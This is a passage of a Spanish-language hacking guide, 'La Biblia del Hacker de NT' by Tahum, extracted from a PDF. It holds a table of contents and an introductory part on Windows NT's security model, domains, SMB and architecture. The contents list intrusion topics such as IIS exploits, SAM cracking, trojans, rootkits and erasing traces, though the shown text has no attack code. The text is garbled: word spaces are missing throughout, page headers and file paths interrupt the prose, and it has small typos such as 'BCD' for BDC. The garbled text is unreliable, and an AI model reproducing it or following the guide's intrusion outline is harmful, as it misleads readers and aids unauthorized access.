Sei sulla pagina 1di 83

27/11/2014

LaBibliadelNT

[0x05]
[LaBibliadelHackerdeNT]
[byTahum]SET24

LabibliadelhackerdeNT
Versiondeldocumento:1.2

*ByTahum,Tahum@phreaker.net
*Primeraversion:15/12/00
*Ultimaactualizacion:17/1/01

Indicedeldocumento:

ParteI,primeroscontactos

Prologo.......................................................0
Nocionesbasicas..............................................1
QueesWindowsNT?..........................................1.1
HistoriadeWindowsNT......................................1.2
Modelodeseguridad.........................................1.3
FuncionamientodeunaredNT................................1.4
Dominios....................................................1.5
Gruposypermisos...........................................1.6
ProtocoloSMB...............................................1.7
PorquelagenteescogeNT?..................................1.8
Susdistintasversiones.....................................1.9
Sufuturo...................................................1.10
Arquitecturadelsistema......................................2
Subsistemasprotegidos......................................2.1
Elexecutive................................................2.2
Llamadasaprocedimientos...................................2.3
DiferenciasentreNT4yW2000................................3
ActiveDirectory............................................3.1
DNSDinamico................................................3.2
EstandarKerberos...........................................3.3
MejorasenelNTFS..........................................3.4
Resumen.......................................................4

ParteII,agujerosdelsistema

IntroduccionaNetBIOS........................................5
HistoriadeNetBIOS.........................................5.1
ConceptossobreNetBIOS.....................................5.2
ComandosNET................................................5.3
VulnerabilidadesdeNetBIOS.................................5.4
NAT.......................................................5.4.1
IPC$......................................................5.4.2
ConclusionsobreNetBIOS....................................5.5
VulnerabilidadesWEB..........................................6
VulnerabilidadesenIIS.....................................6.1
Escapandodelarboldeweb:Unicode'sbug.................6.1.1
IISHACK...................................................6.1.2
Hackeandoloviauseranonymous............................6.1.3
HackeandoloviaIISADMIN..................................6.1.4
EjecuciondecomandoslocalesMSADC.......................6.1.5
Elbugdelos.idcy.ida.................................6.1.6
Viendoelcodigodelos.aspydedemasficheros..........6.1.7
Elbugdelpuntoen.asp................................6.1.7.1
Elbugdel+.htr........................................6.1.7.2
ElbugdeNull.htw......................................6.1.7.3
ElbugdeISM.DLL.......................................6.1.7.4
ElbugdeShowcodeyCodebrws...........................6.1.7.5
Elbugdewebhits.dllylosficheros.htw...............6.1.7.6
Elbugdel::$DATA......................................6.1.7.7
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

1/83

27/11/2014

LaBibliadelNT

ElbugdeAdsamples.....................................6.1.7.8
ElbugdeWebDAV........................................6.1.7.9
ConclusionaIIS..........................................6.1.7.10
VulnerabilidadesdeFrontpage...............................6.2
DoSalasextensiones.....................................6.2.1
OtroDoSalasextensionesgraciasaMsDos...............6.2.2
Scriptingconshtml.dll...................................6.2.3
Otravezlasextensiones..................................6.2.4
ConclusionaFrontpage....................................6.2.5
Elregistro...................................................7
Estructuradelregistro.....................................7.1
Vulnerabilidadesdelregistro...............................7.2
Conclusionsobreelregistro................................7.3
DesbordamientosdepilaenNT.................................8
Shellcodes..................................................8.1
BOFS........................................................8.2
SAM...........................................................9
AnalisisdelasSAM.........................................9.1
Crackeandolas...............................................9.2
Herramientasdecontrolremoto................................10
Softwarecomercial..........................................10.1
Citrix....................................................10.1.2
ControlIT.................................................10.1.3
PcAnywhere...............................................10.1.4
ReachOUT.................................................10.1.5
RemotelyAnywhere.........................................10.1.6
Timbuktu..................................................10.1.7
VNC.......................................................10.1.8
Troyanos....................................................10.2
Prosycontras............................................10.2.2
Comparativa...............................................10.2.3
Resumensobrelasherramientasdecontrolremoto............10.2.4
Rootkits......................................................12
Resumen.......................................................13

ParteIII,HackingfisicodeNT

Iniciacion....................................................14
Consiguiendoacceso...........................................15
SaltandoselaBIOS..........................................15.1
ObteniendolasSAM............................................16
Asegurandolaestancia........................................17
Borrandolashuellas..........................................18
Resumen.......................................................19

ParteIV,HackingremotodeNT

Enumeraciondefallos.........................................20
Incursionenelsistema.......................................21
Asegurandonuestraestancia...................................22
Borradodehuellas............................................23
Conclusiones..................................................24

ParteV,Apendiceyconclusionfinal

Apendice......................................................25
Webs........................................................25.1
Listasdecorreo............................................25.2
Gruposdenoticias..........................................25.3
Demasdocumentosenlared..................................25.4
Bibliografia................................................25.5
Herramientas..................................................25.6
Ultimaspalabrasyconclusionfinal...........................26

=
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

2/83

27/11/2014

LaBibliadelNT

ParteIPrimeroscontactos
============================

[0Prologo]

Bienvenido.
Hecreidonecesarioelescribirestaguiadebidoalafaltadeunaguia
solidadehackenNTenespa~olqueesteactualizada.Meheencontradocon
cantidaddetextosqueexplicandeterminadosbugsdeNT,ociertosaspectos
deesteenconcreto,perotansolohevistounpardedocumentosenlosque
setrataralaseguridaddeNTglobalmente.
Asipues,unbuendiadeagostodel2000,medecidiaescribirunaguia
quecubrieraesehuecoyatropellandomimodestia,diriaquesehalogrado.
Siquereismandarmevuestraopiniondeldocumento,melapodeismandarami
emailytratarederesponderlalomasbrevementeposible.Agradeceriaque
usaseisPGPparacifrarvuestrosmensajes...millavePGPlaencontrareisal
finaldeldocumento.
Enfin,nomequisierahacerdemasiadopesadoyaenlaintroduccion...
queaunosquedaporleerelrestodeldocumento.
Disfruta.

[1Nocionesbasicas]

ParaseguirlaguiatendremosquetenerunasnocionessobreNTquepuede
quenotengamos,yquenosserannecesariasparacomprenderelrestodela
guia.

[1.1QueesWindowsNT?]

EselsistemaoperativodereddesarrolladoporMicrosoft,comorespuesta
alcrecimientoenelmercadoderedeslocales.AdiferenciadeWindows
3.1,quefuncionasobreMSDOS(yporlotantosobresuFATde16bits)y
Windows'95,queutilizaunatabladeasignacionendisco,NTrealizael
seguimientodearchivosconelsistemaNTFS(NTfilesystem),sistemaquees
elnucleodelosnivelesdecontroldeaccesoalainformaciondelservidor,
yresponsabledelaestructuradeseguridadenNT.Esonoquieredecirque
nopuedausarFAT,comosuhermanopeque~oWindows9xomillenium,sin
embargoNTcumplemejorlosrequisitosdeseguridadconNTFS.
EsunSOrealmentefacildeinstalaryconfigurar,porloqueponeren
marchaunservidorcorriendoporNTescosadeni~os,porsuinterfaz
intuitivaylaayudaincorporadaquelleva.
Esunsistemarobusto(nosecuelgafacilmentecomoWin9x),seguro(el
modelodeseguridadqueveremosmasadelantelodemuestra),yquizalounico
enloquesequedaunpocoatrasesenlosrecursosquerequiereparaque
funcionedecentemente.

[1.2HistoriadeWindowsNT]

Enunprincipio,Microsoftpensabahacercambiaralosusuariosde
Windows3.11(oWindowsparatrabajoengrupo)aWindowsNT,unadecision
muyarriesgadaporsuparte,porladiferenciadeinterfacequeexistia
entreambossistemasoperativos,ydemascambiosqueharianqueelusuario
tengaqueestudiarotrosistemaoperativocompletamentenuevo,coneltiempo
queconllevaeso.
WindowsNTsalioalaluz,ysusventaseranmuybajas,pasandosinpena
nigloriaanteelmercadodeservidores.
DebidoaesoMicrosoftdecidiosacaralaluzloqueseriaelboomenlos
sistemasoperativosparausuariosdomesticos:Windows'95.Habianacidoun
sistemaoperativoquehariahistoria,porlasfuncionesnuevasque
incorporabarespectoaWin3.1,porestarmasenfocadoaInternetyporsu
tremendafacilidaddeuso.Seriauntrabajoperfectoeldeloschicosde
Microsoftsinofueseporqueeraunsistemamuyinestable,secolgabacuando
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

3/83

27/11/2014

LaBibliadelNT

seexigiaunosrecursosmedianosalamaquina,alreconocerhardware,etc.
TodoelmundohablabadeWindows'95,unosdecianqueeramaravilloso,
otrosqueeraunachapuza...opinionesparatodoslosgustos.
LagenteseveiaforzadaamigraraWindows'95,pueslamayoriade
aplicaciones,juegos,etc.seencontrabanexclusivamenteparaW95...porlo
queWin3.1yWin3.11quedaronenelolvido.
Ahorasi,lagentenoteniaexcusaparanoaprenderausarWindowsNT,
puessuinterfazeraidenticaaladeWindows'95,yseveiadelejosque
eraelsistemaqueseibadominarelmercadoenunfuturocercano...
Deesaformaygraciasaunacampa~ademarketingarrogante,Microsoft
comenzoaganarterrenoestrepitosamente,ylosigueganando.
HoyporhoytenemosWindows2000Server,AdvancedServer,yDatacenter
comosistemasoperativosdeservidor(loscualesveremosmasadelante),los
sucesoresdeNT4,yqueporcomodidadsonllamadosmuchasvecesNT5.

[1.3Modelodeseguridad]

ElmodelodeseguridaddeNTprotegecadaunodelosobjetosdeforma
individual,casaunoconsuspropiosatributosdeseguridad.LaACL(access
ControlListoListadeControldeacceso)especificalosusuariosygrupos
quepuedenaccederaundeterminadoobjetoyqueprivilegiostienensobre
el.
Dichomodelodeseguridadestaformadopor4componentes:
LocalSecurityAuthority(Autoridaddeseguridadlocal)
SAM:SecurityAccountManager(Administradordeseguridaddecuentas)
SRM:SecurityReferenceMonitor(Monitordereferenciadeseguridad)
UI:UserInterface(Interfazdeusuario)
Seguramentenoosdebehaberquedadomuyclarocadacomponentedelmodelo
deseguridadasiquevamosaexplicarcadauno:

*LocalSegurityAuthority(Autoridaddeseguridadlocal)

EselcomponentecentraldelaseguridadenNT.Esteseencargade
controlarladirectivalocaldeseguridadylaautentificaciondelos
usuarios,ydegeneraryregistrarlosmensajesdeauditoria.Tambiense
lesuelellamarsubsistemadeseguridad.Seencargadeltrabajomas
administrativodelsistemadeseguridad.

*SeccurityAccountManager(Administradordeseguridaddecuentas)

Esteseencargadelcontroldelascuentasdegrupoydeusuario,ademas
deproporcionarserviciosdeautentificaciondeusuarioparalaautoridad
deseguridadlocal.

*SecurityReferenceMonitor(Monitordereferenciadeseguridad)

Esteseencargadelavalidaciondeaccesoydelaauditoriaparala
autoridaddeseguridadlocal.Compruebalascuentasdeusuariomientras
elusuariointentaaccederalosarchivos,directorios,etc.yles
permiteodeniegalaspeticionesdelusuario.Ademasgeneramensajesde
auditoriadependiendodelasdecisionesqueelusuariotome.Contieneuna
copiadelcodigodevalidaciondeaccesoparaasegurarqueelMonitorde
referenciaprotegelosrecursosdeformauniformeentodoelsistema,
independientementedeltipoderecurso.
Quizaestoultimonohayaquedadoclaro,meexplico.Cadavezquete
logueasenNT,pasadoelprocesodeautentificacion,tunombredeusuario
esrelacionadoconunnumerito.Yasicontodoslosusuariosdelsistema.
Demaneraquecuandoquierasaccederaunarchivo/carpeta/unidad,secrea
unsujeto.Elsujetocontiene2elementos:Tunumeroidentificativo,el
objetoalquequieresacceder.ElSRMeselencargadodedarelvisto
buenoonoalapeticion,paralocualmiraralasACE(lasentradasde
controldeacceso),ysifiguratunombredeusuario,puedesacceder,de
locontrariosetemostraraunmensajedeerror.Severamejorconun...
EjemplodecomoelusuarioTahumaccedeaelarchivofoo.exe:

C:\>callarchivos\foo.exe
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

4/83

27/11/2014

LaBibliadelNT

(AhoraescuandoelSRMmiramielementoymiralasACEdelobjetoque
hellamado,enestecasofoo.exe.)
Sujeto
...
|15|foo.exe|
`^'

(ComoelusuarioTahumtienederechosdeejecucionenfoo.exe,secrea
elsujetosatisfactoriamente.)

PuescomoseveelSRMjuegaunpapelmuyimportanteenlaseguridadde
NT.Noesdeextra~arqueseaelobjetivoprimordialdevariosrootkits.

*UserInterface(Interfazdeusuario)

Esloqueelusuariove,lopuramentevisual.Norequiereunamayor
explicacion.

Bueno,vistosyaloscomponentesdelmodelodeseguridadpasamosatratar
otrosaspectosreferentesalaseguridadenNT.

NTadmitenivelesdeaccesoparacadagrupo,demaneraqueelgrupo
"Gentehumilde"solotuvieraaccesodelecturaalacarpeta"Dinero",el
grupo"Causasnobles"notuvieraningunprivilegiosobreesacarpetayel
grupo"Iglesia"tuvieratodoslosderechossobreella.

Siesterecursofueraunrecursocompartido_administrativo_mostrariaun
$alfinaldelnombredelobjeto,porejemplodinero$.

UnacosabuenaquetieneWinNTesquesiporejemploelusuario"Cura"
creaunarchivollamado"Cuentadeahorrosensuiza",yseleolvidadefinir
susatributosdeseguridad,soloelseraelunicoquepuedaaccederal
archivo,anulandocualquierprivilegiosobrelosdemasgruposyusuarios
(exceptuandolosadministradores),porloquesoloelpodraaccederaese
archivo.

WindowsNTesampliable,demaneraquelosprogramaspuedena~adirnuevos
modelosdeseguridadconcaracteristicasdeseguridadnuevas,loqueayudara
amejorarlaseguridadsintenerquereescribirdenuevoelmodelode
seguridad.

[1.4FuncionamientodeunaredNT]

EnunaredNTpuedehabervariosservidorescumpliendocadaunofunciones
distintas.Esonosignificaquetengadehaber3servidoresenunaredpara
quelaredfunciona,comoveremosacontinuacion.
Lasfuncionesquepuedendesempe~arlosservidoresconNTServer(oW2000
Server)sonlassiguientes:
PDC:SonlassiglasdePrimaryDomainController,oloqueeslomismo
controladorprimariodeldominio.Esteeselservidorquemantienel
dominio,elmasimportantepordecirlodealgunamanera.
Enesteservidorsemantienenlasbasesdedatosdelosusuariosde
lared.
SolopuedehaberunPDCenlared.
BCD:SiglasdeBackupDomainController,ocontroladorderespaldode
dominio.EsteeselservidorqueharalafunciondePDCencasode
queelPCDseencontraranooperativo.Asimismotambienseencarga
deautentificaralosusuariosjuntoalPCD,paramayorseguridad.
EnundominioesmuynormalencontrarseconvariosBDC.
MemberServer:Esteservidornotieneunafuncionespecial,elusoquese
lededependedenosotrosynointervieneelel
funcionamientodeldominio.

Paraquetodoquedeclarometereunpeque~oejemplodeunaredNT
marcandolasfuncionesdecadamiembrodelared.

......||
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

5/83

27/11/2014

LaBibliadelNT

..|..|..|===================::
|||||||||
|PDC|||BDC|||MEMBER||
|||||||SERVER||
|||||||||
|o|'|o|'|o|'
||||||
`'=======`'`'
||||
||Peticion1||
||||
||||
||||
||||
`:====..==========================:'
..
||Explicaciondeloaquimostrado.
..|
||o|Comosevelosservidoresdelaredofrecendistintos
|Cliente||tiposdeserviciosalcliente.Aquipodemosvercomo
||'elclientehaceunapeticionalPDC,enestecasode
||autentificacion.ElPDCcompruebaqueelusuarioeste
||enlaACE(EntradadeControldeAcceso)yquesu
`'contrase~aescorrecta.Paraesosevaletambiendel
BDC,paracerciorarsedequelosdatossoncorrectos.
Luegoseledejapasaryhaceunapeticionalmember
server,elcualhacedeproxyydirigelospaquetes
asudestino.

[1.5Dominios]

Hastaahorasehanombradoeltermino"dominio"enlasdescripcionesya
vistas,peroelconceptodedominioesmasamplio,ymereceunaexplicacion
masextensa.
Undominiosepodriadefinircomounconjuntodeordenadoresque
compartenentresiunascaracteristicascomunesenloreferenteaaccesos.
Unusuarioregistradoenundominioconunloginyunpasspuedeaccedera
todoslosservidoresdedichodominioutilizandoelmismol/p.
Cabedecirqueenundominiohayservidoresyclientesoestacionesde
trabajopornormageneral.
Cuandoeladministradordeldominiodadealtaaunnuevousuario,lo
hacesobreelcontroladorprimariodeldominio(PDC).Losdatosdeeste
nuevousuario(login,pass,comentarios,especificacionesdela
contrase~a...)seagreganaunarchivollamadoSAM,quelotienecualquier
servidorNT,yqueseriaelequivalentealarchivopasswdenu*x,con
algunasdiferenciasqueveremosmasadelante.
ComoantesdijeelBDCactuaderespaldoporsielPDCdejaradeestar
operable,porloqueelPDCletienequemandarunacopiadelSAMdemanera
periodica.Estoautomatizaengranpartelatareadeladministrador.
ElprocesodereplicarelarchivoSAMdesdeelPDCatodoslosBDCdela
reddedenominareplicacion.
Ahoraempiezalointeresante,elcomoserelacionanlosdominios.Ala
horadeadministrarunaredNTesnecesarialarelaciondeconfianzaentre
distintosservidores,oservidorcliente,pararealizarunatarea
administrativamassencillayeficiente.
Esimportantesaberasignarcorrectamentelospermisosentredominios.

[1.6Gruposypermisos]

EnNTelconceptodegrupoyusuarioeselmismoqueenotrossistemas,
sinembargoexistenvariantesqueveremosacontinuacion:

Usuarioslocales:Estosusuariostienenaccesoalasmaquinasenlasque
fueroncreados.Estosfueroncreadosenel
administradordeusuarios.
Usuariosdeldominio:Estosusuariostienenaccesoaldominioyalos
recursosqueenelsecomparten.Estosfueron
creadosporeladministradordeusuariosde
Dominio.
Gruposlocales:Estosgruposestanformadosporusuariosdeunmismo
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

6/83

27/11/2014

LaBibliadelNT

dominio,ysolopuedenservistosdesdeesedominio.
Gruposglobales:Comolosanterioresconladiferenciadequepuedenser
vistosdesdetodoslosdominiosenlosquetengauna
relaciondeconfianza.Lounicoquecambiaesqueaeste
grupolopodranverdesdeotrosdominios.

VeamosahoralosgruposqueseinstalanpordefectoenNT:

Administradores:Losdiosesdelsistema,lopuedenhacertodo,aligual
queelrootenu*x.
Invitados:Puesestosenprincipioestanrestringidosaundirectorio,y
conunosprivilegiosmuyescasos(aunquerecuerdouna
universidadconpermisosdeescrituraparalosinvitados...ver
paracreer).
Operadoresdecopia:Estospuedensobreescribirrestriccionesdeseguridad
conelunicopropositodehacercopiasdeseguridado
restaurarficheros.
Reduplicadores:Estossolotienenprivilegiosparacopiarficheros,para
hacercopiasdeseguridad.
Usuarios:Losusuarioscomunesconprivilegiosrestringidos.Pueden
utilizarelsistemayguardararchivos,peronopuedeninstalar
programasohacercambiospotencialmentepeligrososparael
sistemadearchivosylaconfiguracion.
Usuariosavanzados:Usuariosdelsistemaconaltosprivilegios.Estos
tienenmasprivilegiosquelosusuarios,yaqueademas
puedeninstalarprogramasymodificarelequipo.Sin
embargonopuedenleerarchivosqueseandeotros
usuarios.
EstossonlosgruposqueseinstalanpordefectoenNT5,enNT4haymas
gruposcomolosoperadoresdeimpresionperoveoinnecesarioexplicarlosya
queapartedequenonecesitenexplicacion(operadordeimpresionpor
ejemplononecesitacomentarse)seencuentranenmuypocossistemas...

[1.7ProtocoloSMB]

Hequeridodarlelaimportanciaquesemereceaesteprotocolo,llamado
ServerMessageBlock(enespa~olBloquedemensajedeServidor),porvagueria
llamadoSMB,elcualesinteresanteporquepermitequelosusuariosaccedan
alosrecursoscompartidos,alregistro,yaotrosserviciosdelsistemade
forma_remota_.
LosusuariosquesecomunicanconelservidormedianteelprotocoloSMB
puedenaccederacualquierservicioalquepuedaaccederunusuarioquese
comuniqueconNetBIOS.
SepuedenestablecerpermisosSMBenarchivos,directorioscompartidos,
llavesdelregistro,einclusoimpresoras.
EnelniveldesesionSMB,NTcontrolaelaccesomediantenombresde
usuarioycontrase~as(lacuentainvitadonotienecontrase~a).

[1.8PorquelagenteescogeNT?]

Basicamentepor3motivos.Unoeslasencillezconlaqueseusay
administraNT...sinembargoypeselosencilloqueesesmuyfrecuente
encontrarunNTmalconfigurado.
Otraesquetieneserviciotecnico,porloqueencasodequesurjaalgun
imprevistonotienenmasquellamaralserviciotecnicodelacasaMicrosoft
parasolucionarelproblema.Estoofreceunagrantranquilidadaalgunos
administradoresdeNTqueasiseahorraneltenerqueleeresosmanualesque
venianconelprograma...
Estodaquepensaracercadelapreparacionprofesionaldealgunosadmins
deNT.

[1.9Susdistintasversiones]

AhoraveamoslasdistintasversionesdeW2Kysuequivalenteasus
antiguasversionesenNT.
Windows2000ProfessionalequivaleaWindowsNT4Workstation.Esla
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

7/83

27/11/2014

LaBibliadelNT

versiondestinadaalusuarioquedeseatrabajarconlarobustezqueNT
ofreceperononecesitacumplirfuncionesdeservidor.
Windows2000ServereselequivalenteaWindowsNT4Server.Esla
versionparaservidoresderedespeque~as/medianas.Basicamenteescomola
versionanteriorperocommasherramientasadministrativasyunascapasde
maquillajealentorno.Oseaquecambiandounaspocasllavesdelregistroy
metiendolelasherramientasadministrativasdeW2KServerhacesdela
versionProfessionalunaversionServer.
Windows2000AdvancedserverequivaldriaaWindowsNT4Enterprise
Server,conalgunasdiferenciasmasomenossignificativasperoesla
versionconlaquesecorresponderia.Estaeslaversionpararedes
considerablementegrandes.
Windows2000Datacenternosecorresponderiaconningunaversionanterior
deNT,yeslamasbestiadetodalagamadeW2K,yaqueestapreparadapara
servidoresconunascaracteristicasquequitanelsentidoacualquiera(solo
decirquesoporta32microprocesadoresy16gbdememoria).

[1.10Sufuturo]

ElfuturoqueleesperaaNTnopuedesermasalentador.DiaadiaNT
ganaterrenoenelmercadodesistemasoperativosdered.Inclusoesta
amenazandoseriamenteelmercadodeLiNUXenelterrenodeservidores,pese
aqueestosdominenactualmenteelmercado.

[2Arquitecturadelsistema]

Vistasyalasnocionesbasicas,pasamosaestudiarlaarquitecturadel
sistemadentalgoquenoestanbasico,perotenedencuentadequeloque
unprogramadorpuedehacerparaNTconestainformaciontampocoesnada
basico.
SidemomentonopretendeisprogramarbajoWinNT,nonecesitareis
entenderestaparte.
Cabedestacarquegranpartedelainformacionquehemetidoenesta
seccionestabasadaendoslibrosenconcretoyunaweb,lawebdeproyecto
enete.

[2.1Subsistemasprotegidos]

Lossubsistemasprotegidossonunaseriedeprocesosservidoresquese
ejecutanenmodoNOprivilegiado(comolosprocesosdeusuario),loscuales
poseenalgunascaracteristicasquelosdiferenciandeestos.
Primeroveamosquesignificanesospalabrostanraroscomo"procesos
servidores","modonoprivilegiado",ydemastecnicismos.
Estonoesnadadelotromundo,peroparaentenderloveamosalgunos
aspectosdeNTquesonnecesariosparaentenderlaexplicacion.Esperono
irmeporlasramas...
LaarquitecturadeNTdistinguededostiposdenucleo...unollamado
'Executive'(oadministrativo)yotrollamado'subsistemaprotegido'.Alos
modulosdekernelexecutiveselesllamamodulosejecutadosenmodo
privilegiado.Sediceprivilegiadoporlasfuncionesquepuedecumplir.Ya
losmodulosejecutadosenmodonoprivilegiadoselesllamasubsistemas
protegidos.Esperohayaquedadoclaraladefiniciondemodonoprivilegiado
ymodoprivilegiado...siesasiprosigamos.
Definamosahora"procesosservidores".HemosdesaberqueNTentiendea
losprogramascomoclientesdelSO,clientesqueelpropioSOdebede
servir.ParaestoNTvieneequipadoconvariasentidadesservidoras.
Yporultimorepasemoselconpectodesubsistemasprotegidosconotras
palabrasparaquenoquedendudas.Sonunaseriadeprocesosservidores
ejecutadosenmodonoprivilegiado.
EstosseinicianalarrancarNT,ypuedehaberdostipos:losintegrales
ylosdeentorno.
Puespormuypesadoquesehagaestotengoqueseguirconlas
definiciones.Unsubsistemaintegralesaquelservidorqueejecutauna
funcionmuyimportanteenelSO,comoporejemploelquegestionaeltemade
laseguridad.Lodeintegralpensadqueesporaquellodequeesesencial
paraelSO.
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

8/83

27/11/2014

LaBibliadelNT

Lossubsistemasdeentornosonlosquedanrespaldoalosprogramas
provinentesdesistemasoperativosdiferentes,adaptandolosparaquepuedan
serejecutadosenNT.Nosencontramos3deestetipo:

[Subsistemasdeentorno]

*Win32

Esteeselprincipal,eselqueproporcionalainterfazparalos
programasespecificamenteprogramadosparaNT.Sinembargosusfunciones
vanmasalla,puesnosoloseencargadelosprogramasexclusivamente
paraNT,sinotambieninterpretalosfabricadosparaotrossistemas
operativosdelamismacasa,comolashechasparaDOS,Win9xeincluso
Win3.11einferiores.Paraellocreariaunnuevosubsistemaprotegido
paracadaunadeellas.Encasodequeelprogramaquetengaque
interpretarseadeDosoWindows3.11oinferior,asielsubsistema
creadosellamariaVDM,siglasdeVirtualDOSMachine,omaquinavirtual
DOS.Estenoesmasqueun_simulador_delDOS,noelDOSensi.Para
Win3.11einferioreslasllamadasalAPI(ApplicationProgramInterface,
oprogramadeaplicaciondeinterfaz.Estaeslapartedelsistema
operativoqueproveealasaplicacionesunainterfazdeusocomun)de
Win16sonasociadasconlasdelAPIWin32,loquesellamaWOW(Windows
OnWin32).EstesubsistemaseencargadetodolorelacionadoconlaGUI
(GraphicalUserInterface,ointerfazdeusuariografica),teniendoel
controldelasentradasdelusuarioylassalidasdelprograma.

*POSIX

SonlassiglasdePortableOperatingSystemInterfaceforUNIX.Estees
elquedasoportealasaplicacionesUnix(yderivadosdeesta).Esta
normaseelaboroporlaIEEE(InstitutoOfElectricAndElectronic
Engineers,oenespa~olInstitutodeIngenierosenelectricidady
electronica)conelfindelograrlaportabilidaddelosprogramasen
distintosentornosUnix.Esunconjuntode23normas,lascualesson
identificadasconnombresdesdeIEEE1003.0aIEEE1003.22,oloquees
lomismoPOSIX.0aPOSIX.22.DetodasestaselsubsistemaposixdeNTtan
solosoporta1,laPOSIX.1,lacualdefineunconjuntodellamadasal
sistemaenellenguajeC.Estesubsistematambiensirvelasllamadas
interactuandoconelExecutive.Apartedeesodefineaspectosdel
sistemaUnixqueayudanadefinirlomejor,comosonlasrelaciones
jerarquicasentrelosprocesospadresehijos.

*OS/2

PuesigualperoestedasoportealasaplicacionesdelOS/2.Suministra
lainterfazgraficaylasllamadasalsistema,cuyasllamadasson
servidasconlaayudadelexecutive.

[Subsistemasintegrales]

*Procesodeinicio

Esteproceso(tambienllamadoLogonProcess),recibelaspeticionesde
conexionporpartedelosusuarios.Noesunosinodosprocesos,ycada
unoseencargadeuntipodistintodeconexion.Unoeselprocesode
iniciolocal,queeselquegestionalaconexiondeusuarioslocales
directamenteaunordenadorNT,yelotroeselprocesodeinicioremoto,
elcualeselencargadodegestionarlasconexionesdelosusuarios
remotosaprocesosservidoresdeNT.Sinoteneisclarolodeprocesos
servidoresmirarlaexplicaciondadamasarriba.

*Seguridad

file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

9/83

27/11/2014

LaBibliadelNT

Elsubsistemadeseguridadrealizaunpapelmuyimportante,yaque
interaccionaconelprocesodeinicioyelmonitordereferenciasde
seguridad,contruyendoseelmodelodeseguridaddeNT.Estesubsistema
interactuaconelprocesodeinicio,atendiendolaspeticionesdeacceso
alsistema.Dichosubsistemacuantacondoscomponentes:laautoridadde
seguridadlocalyeladministradordecuentas,loscualesvimosmas
arriba.

[2.2Elexecutive]

Vistoslasdosclasesdesubsistemasprotegidos,pasamosaverel
nucleoejecutadoenmodoprivilegiado,sinrestriccionalguna,elexecutive.
DefiniremosalExecutivecomounconjuntodeprogramasqueseejecutan
enmodoprivilegiado.Aquiexplicaremoscualessonyparaquesirvenesos
programas.
Destacarqueelexecutive_NO_eselnucleodeNT,sinoqueelnucleo
deNTesunodelosprogramascomponentesdeeste.
Seguramenteaalgunoslesresultaraincomodovercomomedirijoaun
conglomeradodeaplicacionessoftware(valgalarebuznancia)comoprogramas.
Porcomodidadyporquesignificalomismomedirijoaelloscomoprogramas.
Supongoqueesonomolestaraanadie.
Veamosdequesecomponeelexecutivemasafondo:

*ObjectManager

ElObjectManager(oadministradordeobjetos)eselencargadodecrear,
gestionaryeliminartodoslosobjetosdelExecutive.

*ProcessManager

Eladministradordeprocesosseencargadecrear,gestionaryeliminar
losprocesosysubprocesos.DeestamanerasubministraeltiempodeCPU
adecuadoparacadasubproceso.

*VirtualMemoryManager

Enespa~oladministradordememoriavirtual.Gestionalamemoriaenel
sistema,determinalosbloquesdetrabajodecadaproceso,entreotros
aspectosrelacionadosconlapoliticadegestiondelamemoria.

*LPCFacility

Enespa~olfacilidaddellamadaaprocedicientolocal.Gestionala
recepcionyelenviodelasllamadasaprocedimientolocalentrelas
aplicacionesclienteylossubsistemasprotegidos.

*I/OManager

Eladministradordeentradasalidaconstadebastantessubcomponentes,
comoeladministradordelsistemadeficheros,eladministradordecaches,
losdriversdedispositivodelsistemayeladministradordecaches.
Basicamentesufuncionesladegestionarlacomunicacionentrelos
distintosdriversdeundispositivo.
EstetrabajaenconjuntoconotroscomponentesdelExecutive,sobretodo
elVMM.
Novamosaexplicarendetallelafunciondetodoslossubcomponentes,
paraellorevisarelapendicedondeseosremitealugaresconmucha
informacionsobreestetema.

*Elmonitordereferenciasaseguridad
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

10/83

27/11/2014

LaBibliadelNT

Yalohemosexplicadoanteriormente

*Elkernel

Heaquielnucleo,el"almamater"deNT.Comoveisesuncomponentemas
delexecutive,ynoelexecutiveensi.Estoesporquenosequiso
sobrecargardefunciones.
Seencargadelasfuncionesmasbasicas,comolaejecucionde
subprocesos,elmanejodelasinterrupcioneshardware,entreotrascosas.

*Hal

YaquitenemosaltanfamosoHal.SussiglassignificanHardware
AbstractionLayer,queenespa~olequivaleaniveldeabstraccionde
hardware.EslainterfazexistenteentrelosdriversyNT.Escapazde
adaptarlosdriversaotrasarquitecturasdeentrada/salida,sintenerque
serdemasiadomodificados.

[2.3Llamadasaprocedimientos]

ComoyasabeisNTposeeunaarquitecturadetipoclienteservidor.Por
esoNTvieneequipadoconunmecanismodellamadaaprocedimientoremotoy
otroparalosprocedimientosdellamadalocal.
Voyaintentarexplicarcadaunodeelloslomasbrevementeposible,
dandounavisiongeneraldeloqueson.Nomeadentraremassencillamente
porqueeltemasecomplicalosuyo,yloquepretendoesdarunaidea
general,queoshagaisunaidea.
Porsupuestosiquereissabermas,podeispasarosporelapendice,donde
encontrareisreferenciasasitios/documentosdondepoderdocumentarosmas.

*LocalProcedureCall

Enespa~olllamadaaprocedimientolocal.Estetipodeprocedimientoes
usadocuandounprocesorequierelosserviciosdealgunsubsistema
protegido,normalmenteelsubsistemaWin32.

*RemoteProcedureCall

Igualqueelanteriorperoalcontrariodeesteesteseefectua
remotamente,accediendoalasfuncionesdelosprocesosservidordesdeun
procesoclientedemaneratransparenteparaelusuario.

[3DiferenciasentreNT4yW2000]

Eshoradeverquediferenciasexistenentreestasdistintasversionesde
NT.MuypocosadministradoresqueusanNT4oW2000server(ocualquierade
susvariantesorientadasaservidores)notienenclaroquetienedenuevo
W2000(apartirdeahoraW2K)sobreNT4.Tediranqueesmasseguro,quees
masrobusto,Aunquenosesepabienporque.Pasamosaverlosaspectos
adestacarmasrelevantes.

[3.1ActiveDirectory]

Nopodiaserdeotramanera,queempezandoporunodeloscambiosmas
destacables,laapariciondelActiveDirectory.
Enlatraduccionalespa~olnosquedariaDirectorioActivo,quepor
